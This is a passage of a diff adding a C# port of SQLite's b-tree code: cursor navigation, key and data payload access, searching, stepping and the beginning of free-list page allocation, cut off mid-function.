rc; + } + + /* + ** Read part of the key associated with cursor pCur. Exactly + ** "amt" bytes will be transfered into pBuf[]. The transfer + ** begins at "offset". + ** + ** The caller must ensure that pCur is pointing to a valid row + ** in the table. + ** + ** Return SQLITE_OK on success or an error code if anything goes + ** wrong. An error is returned if "offset+amt" is larger than + ** the available payload. + */ + static int sqlite3BtreeKey(BtCursor pCur, u32 offset, u32 amt, byte[] pBuf) + { + Debug.Assert(cursorHoldsMutex(pCur)); + Debug.Assert(pCur.eState == CURSOR_VALID); + Debug.Assert(pCur.iPage >= 0 && pCur.apPage[pCur.iPage] != null); + Debug.Assert(pCur.aiIdx[pCur.iPage] < pCur.apPage[pCur.iPage].nCell); + return accessPayload(pCur, offset, amt, pBuf, 0); + } + + /* + ** Read part of the data associated with cursor pCur. Exactly + ** "amt" bytes will be transfered into pBuf[]. The transfer + ** begins at "offset". + ** + ** Return SQLITE_OK on success or an error code if anything goes + ** wrong. An error is returned if "offset+amt" is larger than + ** the available payload. + */ + static int sqlite3BtreeData(BtCursor pCur, u32 offset, u32 amt, byte[] pBuf) + { + int rc; + +#if !SQLITE_OMIT_INCRBLOB +if ( pCur.eState==CURSOR_INVALID ){ +return SQLITE_ABORT; +} +#endif + + Debug.Assert(cursorHoldsMutex(pCur)); + rc = restoreCursorPosition(pCur); + if (rc == SQLITE_OK) + { + Debug.Assert(pCur.eState == CURSOR_VALID); + Debug.Assert(pCur.iPage >= 0 && pCur.apPage[pCur.iPage] != null); + Debug.Assert(pCur.aiIdx[pCur.iPage] < pCur.apPage[pCur.iPage].nCell); + rc = accessPayload(pCur, offset, amt, pBuf, 0); + } + return rc; + } + + /* + ** Return a pointer to payload information from the entry that the + ** pCur cursor is pointing to. The pointer is to the beginning of + ** the key if skipKey==null and it points to the beginning of data if + ** skipKey==1. The number of bytes of available key/data is written + ** into pAmt. If pAmt==null, then the value returned will not be + ** a valid pointer. + ** + ** This routine is an optimization. It is common for the entire key + ** and data to fit on the local page and for there to be no overflow + ** pages. When that is so, this routine can be used to access the + ** key and data without making a copy. If the key and/or data spills + ** onto overflow pages, then accessPayload() must be used to reassemble + ** the key/data and copy it into a preallocated buffer. + ** + ** The pointer returned by this routine looks directly into the cached + ** page of the database. The data might change or move the next time + ** any btree routine is called. + */ + static byte[] fetchPayload( + BtCursor pCur, /* Cursor pointing to entry to read from */ + ref int pAmt, /* Write the number of available bytes here */ + ref int outOffset, /* Offset into Buffer */ + bool skipKey /* read beginning at data if this is true */ + ) + { + byte[] aPayload; + MemPage pPage; + u32 nKey; + u32 nLocal; + + Debug.Assert(pCur != null && pCur.iPage >= 0 && pCur.apPage[pCur.iPage] != null); + Debug.Assert(pCur.eState == CURSOR_VALID); + Debug.Assert(cursorHoldsMutex(pCur)); + outOffset = -1; + pPage = pCur.apPage[pCur.iPage]; + Debug.Assert(pCur.aiIdx[pCur.iPage] < pPage.nCell); + if (NEVER(pCur.info.nSize == 0)) + { + btreeParseCell(pCur.apPage[pCur.iPage], pCur.aiIdx[pCur.iPage], + ref pCur.info ); + } + //aPayload = pCur.info.pCell; + //aPayload += pCur.info.nHeader; + aPayload = new byte[pCur.info.nSize - pCur.info.nHeader]; + if (pPage.intKey != 0) + { + nKey = 0; + } + else + { + nKey = (u32)pCur.info.nKey; + } + if ( skipKey ) + { + //aPayload += nKey; + outOffset = (int)( pCur.info.iCell + pCur.info.nHeader + nKey ); + Buffer.BlockCopy( pCur.info.pCell, outOffset, aPayload, 0, (int)( pCur.info.nSize - pCur.info.nHeader - nKey ) ); + nLocal = pCur.info.nLocal - nKey; + } + else + { + outOffset = (int)( pCur.info.iCell + pCur.info.nHeader ); + Buffer.BlockCopy( pCur.info.pCell, outOffset, aPayload, 0, pCur.info.nSize - pCur.info.nHeader ); + nLocal = pCur.info.nLocal; + Debug.Assert( nLocal <= nKey ); + } + pAmt = (int)nLocal; + return aPayload; + } + + /* + ** For the entry that cursor pCur is point to, return as + ** many bytes of the key or data as are available on the local + ** b-tree page. Write the number of available bytes into pAmt. + ** + ** The pointer returned is ephemeral. The key/data may move + ** or be destroyed on the next call to any Btree routine, + ** including calls from other threads against the same cache. + ** Hence, a mutex on the BtShared should be held prior to calling + ** this routine. + ** + ** These routines is used to get quick access to key and data + ** in the common case where no overflow pages are used. + */ + static byte[] sqlite3BtreeKeyFetch( BtCursor pCur, ref int pAmt, ref int outOffset ) + { + byte[] p = null; + Debug.Assert( sqlite3_mutex_held( pCur.pBtree.db.mutex ) ); + Debug.Assert( cursorHoldsMutex( pCur ) ); + if ( ALWAYS( pCur.eState == CURSOR_VALID ) ) + { + p = fetchPayload( pCur, ref pAmt, ref outOffset, false ); + } + return p; + } + static byte[] sqlite3BtreeDataFetch( BtCursor pCur, ref int pAmt, ref int outOffset ) + { + byte[] p = null; + Debug.Assert( sqlite3_mutex_held( pCur.pBtree.db.mutex ) ); + Debug.Assert( cursorHoldsMutex( pCur ) ); + if ( ALWAYS( pCur.eState == CURSOR_VALID ) ) + { + p = fetchPayload( pCur, ref pAmt, ref outOffset, true ); + } + return p; + } + + /* + ** Move the cursor down to a new child page. The newPgno argument is the + ** page number of the child page to move to. + ** + ** This function returns SQLITE_CORRUPT if the page-header flags field of + ** the new child page does not match the flags field of the parent (i.e. + ** if an intkey page appears to be the parent of a non-intkey page, or + ** vice-versa). + */ + static int moveToChild(BtCursor pCur, u32 newPgno) + { + int rc; + int i = pCur.iPage; + MemPage pNewPage = new MemPage(); + BtShared pBt = pCur.pBt; + + Debug.Assert(cursorHoldsMutex(pCur)); + Debug.Assert(pCur.eState == CURSOR_VALID); + Debug.Assert(pCur.iPage < BTCURSOR_MAX_DEPTH); + if (pCur.iPage >= (BTCURSOR_MAX_DEPTH - 1)) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + rc = getAndInitPage(pBt, newPgno, ref pNewPage); + if (rc != 0) return rc; + pCur.apPage[i + 1] = pNewPage; + pCur.aiIdx[i + 1] = 0; + pCur.iPage++; + + pCur.info.nSize = 0; + pCur.validNKey = false; + if (pNewPage.nCell < 1 || pNewPage.intKey != pCur.apPage[i].intKey) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + return SQLITE_OK; + } + +#if !NDEBUG + /* +** Page pParent is an internal (non-leaf) tree page. This function +** asserts that page number iChild is the left-child if the iIdx'th +** cell in page pParent. Or, if iIdx is equal to the total number of +** cells in pParent, that page number iChild is the right-child of +** the page. +*/ + static void assertParentIndex(MemPage pParent, int iIdx, Pgno iChild) + { + Debug.Assert(iIdx <= pParent.nCell); + if (iIdx == pParent.nCell) + { + Debug.Assert(sqlite3Get4byte(pParent.aData, pParent.hdrOffset + 8) == iChild); + } + else + { + Debug.Assert(sqlite3Get4byte(pParent.aData, findCell(pParent, iIdx)) == iChild); + } + } +#else +//# define assertParentIndex(x,y,z) +static void assertParentIndex(MemPage pParent, int iIdx, Pgno iChild) { } +#endif + + /* +** Move the cursor up to the parent page. +** +** pCur.idx is set to the cell index that contains the pointer +** to the page we are coming from. If we are coming from the +** right-most child page then pCur.idx is set to one more than +** the largest cell index. +*/ + static void moveToParent(BtCursor pCur) + { + Debug.Assert(cursorHoldsMutex(pCur)); + Debug.Assert(pCur.eState == CURSOR_VALID); + Debug.Assert(pCur.iPage > 0); + Debug.Assert(pCur.apPage[pCur.iPage] != null); + assertParentIndex( + pCur.apPage[pCur.iPage - 1], + pCur.aiIdx[pCur.iPage - 1], + pCur.apPage[pCur.iPage].pgno + ); + releasePage(pCur.apPage[pCur.iPage]); + pCur.iPage--; + pCur.info.nSize = 0; + pCur.validNKey = false; + } + + /* + ** Move the cursor to point to the root page of its b-tree structure. + ** + ** If the table has a virtual root page, then the cursor is moved to point + ** to the virtual root page instead of the actual root page. A table has a + ** virtual root page when the actual root page contains no cells and a + ** single child page. This can only happen with the table rooted at page 1. + ** + ** If the b-tree structure is empty, the cursor state is set to + ** CURSOR_INVALID. Otherwise, the cursor is set to point to the first + ** cell located on the root (or virtual root) page and the cursor state + ** is set to CURSOR_VALID. + ** + ** If this function returns successfully, it may be assumed that the + ** page-header flags indicate that the [virtual] root-page is the expected + ** kind of b-tree page (i.e. if when opening the cursor the caller did not + ** specify a KeyInfo structure the flags byte is set to 0x05 or 0x0D, + ** indicating a table b-tree, or if the caller did specify a KeyInfo + ** structure the flags byte is set to 0x02 or 0x0A, indicating an index + ** b-tree). + */ + static int moveToRoot(BtCursor pCur) + { + MemPage pRoot; + int rc = SQLITE_OK; + Btree p = pCur.pBtree; + BtShared pBt = p.pBt; + + Debug.Assert(cursorHoldsMutex(pCur)); + Debug.Assert(CURSOR_INVALID < CURSOR_REQUIRESEEK); + Debug.Assert(CURSOR_VALID < CURSOR_REQUIRESEEK); + Debug.Assert(CURSOR_FAULT > CURSOR_REQUIRESEEK); + if (pCur.eState >= CURSOR_REQUIRESEEK) + { + if (pCur.eState == CURSOR_FAULT) + { + Debug.Assert(pCur.skipNext != SQLITE_OK); + return pCur.skipNext; + } + sqlite3BtreeClearCursor(pCur); + } + + if (pCur.iPage >= 0) + { + int i; + for (i = 1; i <= pCur.iPage; i++) + { + releasePage(pCur.apPage[i]); + } + pCur.iPage = 0; + } + else + { + rc = getAndInitPage(pBt, pCur.pgnoRoot, ref pCur.apPage[0]); + if (rc != SQLITE_OK) + { + pCur.eState = CURSOR_INVALID; + return rc; + } + pCur.iPage = 0; + + /* If pCur.pKeyInfo is not NULL, then the caller that opened this cursor + ** expected to open it on an index b-tree. Otherwise, if pKeyInfo is + ** NULL, the caller expects a table b-tree. If this is not the case, + ** return an SQLITE_CORRUPT error. */ + Debug.Assert(pCur.apPage[0].intKey == 1 || pCur.apPage[0].intKey == 0); + if ((pCur.pKeyInfo == null) != (pCur.apPage[0].intKey != 0)) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + } + + /* Assert that the root page is of the correct type. This must be the + ** case as the call to this function that loaded the root-page (either + ** this call or a previous invocation) would have detected corruption + ** if the assumption were not true, and it is not possible for the flags + ** byte to have been modified while this cursor is holding a reference + ** to the page. */ + pRoot = pCur.apPage[0]; + Debug.Assert(pRoot.pgno == pCur.pgnoRoot); + Debug.Assert(pRoot.isInit != 0 && (pCur.pKeyInfo == null) == (pRoot.intKey != 0)); + + pCur.aiIdx[0] = 0; + pCur.info.nSize = 0; + pCur.atLast = 0; + pCur.validNKey = false; + + if (pRoot.nCell == 0 && 0 == pRoot.leaf) + { + Pgno subpage; + if (pRoot.pgno != 1) +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + subpage = sqlite3Get4byte(pRoot.aData, pRoot.hdrOffset + 8); + pCur.eState = CURSOR_VALID; + rc = moveToChild(pCur, subpage); + } + else + { + pCur.eState = ((pRoot.nCell > 0) ? CURSOR_VALID : CURSOR_INVALID); + } + return rc; + } + + /* + ** Move the cursor down to the left-most leaf entry beneath the + ** entry to which it is currently pointing. + ** + ** The left-most leaf is the one with the smallest key - the first + ** in ascending order. + */ + static int moveToLeftmost(BtCursor pCur) + { + Pgno pgno; + int rc = SQLITE_OK; + MemPage pPage; + + Debug.Assert(cursorHoldsMutex(pCur)); + Debug.Assert(pCur.eState == CURSOR_VALID); + while (rc == SQLITE_OK && 0 == (pPage = pCur.apPage[pCur.iPage]).leaf) + { + Debug.Assert(pCur.aiIdx[pCur.iPage] < pPage.nCell); + pgno = sqlite3Get4byte(pPage.aData, findCell(pPage, pCur.aiIdx[pCur.iPage])); + rc = moveToChild(pCur, pgno); + } + return rc; + } + + /* + ** Move the cursor down to the right-most leaf entry beneath the + ** page to which it is currently pointing. Notice the difference + ** between moveToLeftmost() and moveToRightmost(). moveToLeftmost() + ** finds the left-most entry beneath the *entry* whereas moveToRightmost() + ** finds the right-most entry beneath the page*. + ** + ** The right-most entry is the one with the largest key - the last + ** key in ascending order. + */ + static int moveToRightmost(BtCursor pCur) + { + Pgno pgno; + int rc = SQLITE_OK; + MemPage pPage = null; + + Debug.Assert(cursorHoldsMutex(pCur)); + Debug.Assert(pCur.eState == CURSOR_VALID); + while (rc == SQLITE_OK && 0 == (pPage = pCur.apPage[pCur.iPage]).leaf) + { + pgno = sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8); + pCur.aiIdx[pCur.iPage] = pPage.nCell; + rc = moveToChild(pCur, pgno); + } + if (rc == SQLITE_OK) + { + pCur.aiIdx[pCur.iPage] = (u16)(pPage.nCell - 1); + pCur.info.nSize = 0; + pCur.validNKey = false; + } + return rc; + } + + /* Move the cursor to the first entry in the table. Return SQLITE_OK + ** on success. Set pRes to 0 if the cursor actually points to something + ** or set pRes to 1 if the table is empty. + */ + static int sqlite3BtreeFirst(BtCursor pCur, ref int pRes) + { + int rc; + + Debug.Assert(cursorHoldsMutex(pCur)); + Debug.Assert(sqlite3_mutex_held(pCur.pBtree.db.mutex)); + rc = moveToRoot(pCur); + if (rc == SQLITE_OK) + { + if (pCur.eState == CURSOR_INVALID) + { + Debug.Assert(pCur.apPage[pCur.iPage].nCell == 0); + pRes = 1; + rc = SQLITE_OK; + } + else + { + Debug.Assert(pCur.apPage[pCur.iPage].nCell > 0); + pRes = 0; + rc = moveToLeftmost(pCur); + } + } + return rc; + } + + /* Move the cursor to the last entry in the table. Return SQLITE_OK + ** on success. Set pRes to 0 if the cursor actually points to something + ** or set pRes to 1 if the table is empty. + */ + static int sqlite3BtreeLast(BtCursor pCur, ref int pRes) + { + int rc; + + Debug.Assert(cursorHoldsMutex(pCur)); + Debug.Assert(sqlite3_mutex_held(pCur.pBtree.db.mutex)); + + /* If the cursor already points to the last entry, this is a no-op. */ + if (CURSOR_VALID == pCur.eState && pCur.atLast != 0) + { +#if SQLITE_DEBUG + /* This block serves to Debug.Assert() that the cursor really does point +** to the last entry in the b-tree. */ + int ii; + for (ii = 0; ii < pCur.iPage; ii++) + { + Debug.Assert(pCur.aiIdx[ii] == pCur.apPage[ii].nCell); + } + Debug.Assert(pCur.aiIdx[pCur.iPage] == pCur.apPage[pCur.iPage].nCell - 1); + Debug.Assert(pCur.apPage[pCur.iPage].leaf != 0); +#endif + return SQLITE_OK; + } + + rc = moveToRoot(pCur); + if (rc == SQLITE_OK) + { + if (CURSOR_INVALID == pCur.eState) + { + Debug.Assert(pCur.apPage[pCur.iPage].nCell == 0); + pRes = 1; + } + else + { + Debug.Assert(pCur.eState == CURSOR_VALID); + pRes = 0; + rc = moveToRightmost(pCur); + pCur.atLast = (u8)(rc == SQLITE_OK ? 1 : 0); + } + } + return rc; + } + + /* Move the cursor so that it points to an entry near the key + ** specified by pIdxKey or intKey. Return a success code. + ** + ** For INTKEY tables, the intKey parameter is used. pIdxKey + ** must be NULL. For index tables, pIdxKey is used and intKey + ** is ignored. + ** + ** If an exact match is not found, then the cursor is always + ** left pointing at a leaf page which would hold the entry if it + ** were present. The cursor might point to an entry that comes + ** before or after the key. + ** + ** An integer is written into pRes which is the result of + ** comparing the key with the entry to which the cursor is + ** pointing. The meaning of the integer written into + ** pRes is as follows: + ** + ** pRes<0 The cursor is left pointing at an entry that + ** is smaller than intKey/pIdxKey or if the table is empty + ** and the cursor is therefore left point to nothing. + ** + ** pRes==null The cursor is left pointing at an entry that + ** exactly matches intKey/pIdxKey. + ** + ** pRes>0 The cursor is left pointing at an entry that + ** is larger than intKey/pIdxKey. + ** + */ + static int sqlite3BtreeMovetoUnpacked( + BtCursor pCur, /* The cursor to be moved */ + UnpackedRecord pIdxKey, /* Unpacked index key */ + i64 intKey, /* The table key */ + int biasRight, /* If true, bias the search to the high end */ + ref int pRes /* Write search results here */ + ) + { + int rc; + + Debug.Assert(cursorHoldsMutex(pCur)); + Debug.Assert(sqlite3_mutex_held(pCur.pBtree.db.mutex)); + // Not needed in C# // Debug.Assert( pRes != 0 ); + Debug.Assert((pIdxKey == null) == (pCur.pKeyInfo == null)); + + /* If the cursor is already positioned at the point we are trying + ** to move to, then just return without doing any work */ + if (pCur.eState == CURSOR_VALID && pCur.validNKey + && pCur.apPage[0].intKey != 0 + ) + { + if (pCur.info.nKey == intKey) + { + pRes = 0; + return SQLITE_OK; + } + if (pCur.atLast != 0 && pCur.info.nKey < intKey) + { + pRes = -1; + return SQLITE_OK; + } + } + + rc = moveToRoot(pCur); + if (rc != 0) + { + return rc; + } + Debug.Assert(pCur.apPage[pCur.iPage] != null); + Debug.Assert(pCur.apPage[pCur.iPage].isInit != 0); + Debug.Assert(pCur.apPage[pCur.iPage].nCell > 0 || pCur.eState == CURSOR_INVALID); + if (pCur.eState == CURSOR_INVALID) + { + pRes = -1; + Debug.Assert(pCur.apPage[pCur.iPage].nCell == 0); + return SQLITE_OK; + } + Debug.Assert(pCur.apPage[0].intKey != 0 || pIdxKey != null); + for (; ; ) + { + int lwr, upr; + Pgno chldPg; + MemPage pPage = pCur.apPage[pCur.iPage]; + int c; + + /* pPage.nCell must be greater than zero. If this is the root-page + ** the cursor would have been INVALID above and this for(;;) loop + ** not run. If this is not the root-page, then the moveToChild() routine + ** would have already detected db corruption. Similarly, pPage must + ** be the right kind (index or table) of b-tree page. Otherwise + ** a moveToChild() or moveToRoot() call would have detected corruption. */ + Debug.Assert(pPage.nCell > 0); + Debug.Assert(pPage.intKey == ((pIdxKey == null) ? 1 : 0)); + lwr = 0; + upr = pPage.nCell - 1; + if (biasRight != 0) + { + pCur.aiIdx[pCur.iPage] = (u16)upr; + } + else + { + pCur.aiIdx[pCur.iPage] = (u16)((upr + lwr) / 2); + } + for (; ; ) + { + int idx = pCur.aiIdx[pCur.iPage]; /* Index of current cell in pPage */ + int pCell; /* Pointer to current cell in pPage */ + + pCur.info.nSize = 0; + pCell = findCell(pPage, idx) + pPage.childPtrSize; + if (pPage.intKey != 0) + { + i64 nCellKey = 0; + if (pPage.hasData != 0) + { + u32 Dummy0 = 0; + pCell += getVarint32(pPage.aData, pCell, ref Dummy0); + } + getVarint(pPage.aData, pCell, ref nCellKey); + if (nCellKey == intKey) + { + c = 0; + } + else if (nCellKey < intKey) + { + c = -1; + } + else + { + Debug.Assert(nCellKey > intKey); + c = +1; + } + pCur.validNKey = true; + pCur.info.nKey = nCellKey; + } + else + { + /* The maximum supported page-size is 32768 bytes. This means that + ** the maximum number of record bytes stored on an index B-Tree + ** page is at most 8198 bytes, which may be stored as a 2-byte + ** varint. This information is used to attempt to avoid parsing + ** the entire cell by checking for the cases where the record is + ** stored entirely within the b-tree page by inspecting the first + ** 2 bytes of the cell. + */ + int nCell = pPage.aData[pCell + 0]; //pCell[0]; + if (0 == (nCell & 0x80) && nCell <= pPage.maxLocal) + { + /* This branch runs if the record-size field of the cell is a + ** single byte varint and the record fits entirely on the main + ** b-tree page. */ + c = sqlite3VdbeRecordCompare(nCell, pPage.aData, pCell + 1, pIdxKey); //c = sqlite3VdbeRecordCompare( nCell, (void*)&pCell[1], pIdxKey ); + } + else if (0 == (pPage.aData[pCell + 1] & 0x80)//!(pCell[1] & 0x80) + && (nCell = ((nCell & 0x7f) << 7) + pPage.aData[pCell + 1]) <= pPage.maxLocal//pCell[1])<=pPage.maxLocal + ) + { + /* The record-size field is a 2 byte varint and the record + ** fits entirely on the main b-tree page. */ + c = sqlite3VdbeRecordCompare(nCell, pPage.aData, pCell + 2, pIdxKey); //c = sqlite3VdbeRecordCompare( nCell, (void*)&pCell[2], pIdxKey ); + } + else + { + /* The record flows over onto one or more overflow pages. In + ** this case the whole cell needs to be parsed, a buffer allocated + ** and accessPayload() used to retrieve the record into the + ** buffer before VdbeRecordCompare() can be called. */ + u8[] pCellKey; + u8[] pCellBody = new u8[pPage.aData.Length - pCell + pPage.childPtrSize]; + Buffer.BlockCopy(pPage.aData, pCell - pPage.childPtrSize, pCellBody, 0, pCellBody.Length);// u8 * const pCellBody = pCell - pPage->childPtrSize; + btreeParseCellPtr( pPage, pCellBody, ref pCur.info ); + nCell = (int)pCur.info.nKey; + pCellKey = new byte[nCell]; //sqlite3Malloc( nCell ); + //if ( pCellKey == null ) + //{ + // rc = SQLITE_NOMEM; + // goto moveto_finish; + //} + rc = accessPayload(pCur, 0, (u32)nCell, pCellKey, 0); + c = sqlite3VdbeRecordCompare(nCell, pCellKey, pIdxKey); + pCellKey = null;// sqlite3_free( ref pCellKey ); + if (rc != 0) goto moveto_finish; + } + } + if (c == 0) + { + if (pPage.intKey != 0 && 0 == pPage.leaf) + { + lwr = idx; + upr = lwr - 1; + break; + } + else + { + pRes = 0; + rc = SQLITE_OK; + goto moveto_finish; + } + } + if (c < 0) + { + lwr = idx + 1; + } + else + { + upr = idx - 1; + } + if (lwr > upr) + { + break; + } + pCur.aiIdx[pCur.iPage] = (u16)((lwr + upr) / 2); + } + Debug.Assert(lwr == upr + 1); + Debug.Assert(pPage.isInit != 0); + if (pPage.leaf != 0) + { + chldPg = 0; + } + else if (lwr >= pPage.nCell) + { + chldPg = sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8); + } + else + { + chldPg = sqlite3Get4byte(pPage.aData, findCell(pPage, lwr)); + } + if (chldPg == 0) + { + Debug.Assert(pCur.aiIdx[pCur.iPage] < pCur.apPage[pCur.iPage].nCell); + pRes = c; + rc = SQLITE_OK; + goto moveto_finish; + } + pCur.aiIdx[pCur.iPage] = (u16)lwr; + pCur.info.nSize = 0; + pCur.validNKey = false; + rc = moveToChild(pCur, chldPg); + if (rc != 0) goto moveto_finish; + } + moveto_finish: + return rc; + } + + + /* + ** Return TRUE if the cursor is not pointing at an entry of the table. + ** + ** TRUE will be returned after a call to sqlite3BtreeNext() moves + ** past the last entry in the table or sqlite3BtreePrev() moves past + ** the first entry. TRUE is also returned if the table is empty. + */ + static bool sqlite3BtreeEof(BtCursor pCur) + { + /* TODO: What if the cursor is in CURSOR_REQUIRESEEK but all table entries + ** have been deleted? This API will need to change to return an error code + ** as well as the boolean result value. + */ + return (CURSOR_VALID != pCur.eState); + } + + /* + ** Advance the cursor to the next entry in the database. If + ** successful then set pRes=0. If the cursor + ** was already pointing to the last entry in the database before + ** this routine was called, then set pRes=1. + */ + static int sqlite3BtreeNext(BtCursor pCur, ref int pRes) + { + int rc; + int idx; + MemPage pPage; + + Debug.Assert(cursorHoldsMutex(pCur)); + rc = restoreCursorPosition(pCur); + if (rc != SQLITE_OK) + { + return rc; + } + // Not needed in C# // Debug.Assert( pRes != 0 ); + if (CURSOR_INVALID == pCur.eState) + { + pRes = 1; + return SQLITE_OK; + } + if (pCur.skipNext > 0) + { + pCur.skipNext = 0; + pRes = 0; + return SQLITE_OK; + } + pCur.skipNext = 0; + + pPage = pCur.apPage[pCur.iPage]; + idx = ++pCur.aiIdx[pCur.iPage]; + Debug.Assert(pPage.isInit != 0); + Debug.Assert(idx <= pPage.nCell); + + pCur.info.nSize = 0; + pCur.validNKey = false; + if (idx >= pPage.nCell) + { + if (0 == pPage.leaf) + { + rc = moveToChild(pCur, sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8)); + if (rc != 0) return rc; + rc = moveToLeftmost(pCur); + pRes = 0; + return rc; + } + do + { + if (pCur.iPage == 0) + { + pRes = 1; + pCur.eState = CURSOR_INVALID; + return SQLITE_OK; + } + moveToParent(pCur); + pPage = pCur.apPage[pCur.iPage]; + } while (pCur.aiIdx[pCur.iPage] >= pPage.nCell); + pRes = 0; + if (pPage.intKey != 0) + { + rc = sqlite3BtreeNext(pCur, ref pRes); + } + else + { + rc = SQLITE_OK; + } + return rc; + } + pRes = 0; + if (pPage.leaf != 0) + { + return SQLITE_OK; + } + rc = moveToLeftmost(pCur); + return rc; + } + + + /* + ** Step the cursor to the back to the previous entry in the database. If + ** successful then set pRes=0. If the cursor + ** was already pointing to the first entry in the database before + ** this routine was called, then set pRes=1. + */ + static int sqlite3BtreePrevious(BtCursor pCur, ref int pRes) + { + int rc; + MemPage pPage; + + Debug.Assert(cursorHoldsMutex(pCur)); + rc = restoreCursorPosition(pCur); + if (rc != SQLITE_OK) + { + return rc; + } + pCur.atLast = 0; + if (CURSOR_INVALID == pCur.eState) + { + pRes = 1; + return SQLITE_OK; + } + if (pCur.skipNext < 0) + { + pCur.skipNext = 0; + pRes = 0; + return SQLITE_OK; + } + pCur.skipNext = 0; + + pPage = pCur.apPage[pCur.iPage]; + Debug.Assert(pPage.isInit != 0); + if (0 == pPage.leaf) + { + int idx = pCur.aiIdx[pCur.iPage]; + rc = moveToChild(pCur, sqlite3Get4byte(pPage.aData, findCell(pPage, idx))); + if (rc != 0) + { + return rc; + } + rc = moveToRightmost(pCur); + } + else + { + while (pCur.aiIdx[pCur.iPage] == 0) + { + if (pCur.iPage == 0) + { + pCur.eState = CURSOR_INVALID; + pRes = 1; + return SQLITE_OK; + } + moveToParent(pCur); + } + pCur.info.nSize = 0; + pCur.validNKey = false; + + pCur.aiIdx[pCur.iPage]--; + pPage = pCur.apPage[pCur.iPage]; + if (pPage.intKey != 0 && 0 == pPage.leaf) + { + rc = sqlite3BtreePrevious(pCur, ref pRes); + } + else + { + rc = SQLITE_OK; + } + } + pRes = 0; + return rc; + } + + /* + ** Allocate a new page from the database file. + ** + ** The new page is marked as dirty. (In other words, sqlite3PagerWrite() + ** has already been called on the new page.) The new page has also + ** been referenced and the calling routine is responsible for calling + ** sqlite3PagerUnref() on the new page when it is done. + ** + ** SQLITE_OK is returned on success. Any other return value indicates + ** an error. ppPage and pPgno are undefined in the event of an error. + ** Do not invoke sqlite3PagerUnref() on ppPage if an error is returned. + ** + ** If the "nearby" parameter is not 0, then a (feeble) effort is made to + ** locate a page close to the page number "nearby". This can be used in an + ** attempt to keep related pages close to each other in the database file, + ** which in turn can make database access faster. + ** + ** If the "exact" parameter is not 0, and the page-number nearby exists + ** anywhere on the free-list, then it is guarenteed to be returned. This + ** is only used by auto-vacuum databases when allocating a new table. + */ + static int allocateBtreePage( + BtShared pBt, + ref MemPage ppPage, + ref Pgno pPgno, + Pgno nearby, + u8 exact + ) + { + MemPage pPage1; + int rc; + u32 n; /* Number of pages on the freelist */ + u32 k; /* Number of leaves on the trunk of the freelist */ + MemPage pTrunk = null; + MemPage pPrevTrunk = null; + Pgno mxPage; /* Total size of the database file */ + + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + pPage1 = pBt.pPage1; + mxPage = pagerPagecount(pBt); + n = sqlite3Get4byte(pPage1.aData, 36); + testcase(n == mxPage - 1); + if (n >= mxPage) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + if (n > 0) + { + /* There are pages on the freelist. Reuse one of those pages. */ + Pgno iTrunk; + u8 searchList = 0; /* If the free-list must be searched for 'nearby' */ + + /* If the 'exact' parameter was true and a query of the pointer-map + ** shows that the page 'nearby' is somewhere on the free-list, then + ** the entire-list will be searched for that page. + */ +#if !SQLITE_OMIT_AUTOVACUUM + if (exact != 0 && nearby <= mxPage) + { + u8 eType = 0; + Debug.Assert(nearby > 0); + Debug.Assert(pBt.autoVacuum); + u32 Dummy0 = 0; rc = ptrmapGet(pBt, nearby, ref eType, ref Dummy0); + if (rc != 0) return rc; + if (eType == PTRMAP_FREEPAGE) + { + searchList = 1; + } + pPgno = nearby; + } +#endif + + /* Decrement the free-list count by 1. Set iTrunk to the index of the +** first free-list trunk page. iPrevTrunk is initially 1. +*/ + rc = sqlite3PagerWrite(pPage1.pDbPage); + if (rc != 0) return rc; + sqlite3Put4byte(pPage1.aData, (u32)36, n - 1); + + /* The code within this loop is run only once if the 'searchList' variable + ** is not true. Otherwise, it runs once for each trunk-page on the + ** free-list until the page 'nearby' is located. + */ + do + { + pPrevTrunk = pTrunk; + if (pPrevTrunk != null) + { + iTrunk = sqlite3Get4byte(pPrevTrunk.aData, 0); + } + else + { + iTrunk = sqlite3Get4byte(pPage1.aData, 32); + } + testcase(iTrunk == mxPage); + if (iTrunk > mxPage) + { +#if SQLITE_DEBUG || DEBUG + rc = SQLITE_CORRUPT_BKPT(); +#else +rc = SQLITE_CORRUPT_BKPT; +#endif + } + else + { + rc = btreeGetPage(pBt, iTrunk, ref pTrunk, 0); + } + if (rc != 0) + { + pTrunk = null; + goto end_allocate_page; + } + + k = sqlite3Get4byte(pTrunk.aData, 4); + if (k == 0 && 0 == searchList) + { + /* The trunk has no leaves and the list is not being searched. + ** So extract the trunk page itself and use it as the newly + ** allocated page */ + Debug.Assert(pPrevTrunk == null); + rc = sqlite3PagerWrite(pTrunk.pDbPage); + if (rc != 0) + { + goto end_allocate_page; + } + pPgno = iTrunk; + Buffer.BlockCopy(pTrunk.aData, 0, pPage1.aData, 32, 4);//memcpy( pPage1.aData[32], ref pTrunk.aData[0], 4 ); + ppPage = pTrunk; + pTrunk = null; + TRACE("ALLOCATE: %d trunk - %d free pages left\n", pPgno, n - 1); + } + else if (k > (u32)(pBt.usableSize / 4 - 2)) + { + /* Value of k is out of range. Database corruption */ +#if SQLITE_DEBUG || DEBUG + rc = SQLITE_CORRUPT_BKPT(); +#else +rc = SQLITE_CORRUPT_BKPT; +#endif + goto end_allocate_page; +#if !SQLITE_OMIT_AUTOVACUUM + } + else if (searchList != 0 && nearby == iTrunk) + { + /* The list is being searched and this trunk page is the page + ** to allocate, regardless of whether it has leaves. + */ + Debug.Assert(pPgno == iTrunk); + ppPage = pTrunk; + searchList = 0; + rc = sqlite3PagerWrite(pTrunk.pDbPage); + if (rc != 0) + { + goto end_allocate_page; + } + if (k == 0) + { + if (null == pPrevTrunk) + { + 